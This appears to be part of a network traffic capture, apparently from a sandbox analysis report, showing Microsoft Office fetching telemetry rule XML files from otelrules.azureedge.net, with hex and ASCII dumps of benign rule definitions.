2024-10-29 03:53:00 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:00 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 85f3058c-201e-00aa-6c2c-283928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035300Z-15b8d89586ffsjj9qb0gmb1stn0000000a60000000007qcv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:00 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49768	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:00 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:00 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:00 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 87a1057c-b01e-0002-4e36-281b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035300Z-17c5cb586f6hn8cl90dxzu28kw00000005zg0000000077a0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:00 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49767	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:00 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:00 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 7920d540-e01e-0085-1f11-29c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035300Z-15b8d89586f6nn8zqg1h5suba8000000018g000000005gzg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:00 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49765	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:00 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:00 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: e9f225b3-c01e-0014-22e8-27a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035300Z-r197bdfb6b46krmwag4tzr9x7c00000005t000000000a3gr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:00 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49766	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:00 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:00 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:00 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 834668b8-301e-0052-121c-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035300Z-16849878b78qfbkc5yywmsbg0c00000005m000000000k6zs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:53:00 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49769	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:01 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:01 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 32193d61-901e-0015-09ca-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035301Z-17c5cb586f69w69mgazyf263an000000057g000000002bp0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:01 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49770	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:01 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:01 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 4755be7f-e01e-0052-062b-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035301Z-16849878b78g2m84h2v9sta29000000004y00000000065dp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:01 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49771	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:01 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:01 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:01 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 1f7bc680-101e-0065-6904-274088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035301Z-16849878b78p49s6zkwt11bbkn00000005k000000000mzcm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:01 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49772	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:01 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:01 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: e5fe76b8-601e-0050-2e06-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035301Z-17c5cb586f6r59nt869u8w8xt800000004zg0000000071sk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:01 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49773	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:01 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:01 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:01 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 0d0c59f1-101e-005a-526a-27882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035301Z-17c5cb586f69w69mgazyf263an000000058g0000000002wd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:01 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49774	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:02 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:02 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 3c9c0adf-d01e-0028-0c96-257896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035302Z-16849878b786fl7gm2qg4r5y70000000068000000000c07y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:02 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49777	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:02 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:02 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:02 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: b80877bf-b01e-0084-28e3-26d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035302Z-17c5cb586f6b6kj91vqtm6kxaw00000004n000000000erug x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:02 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U 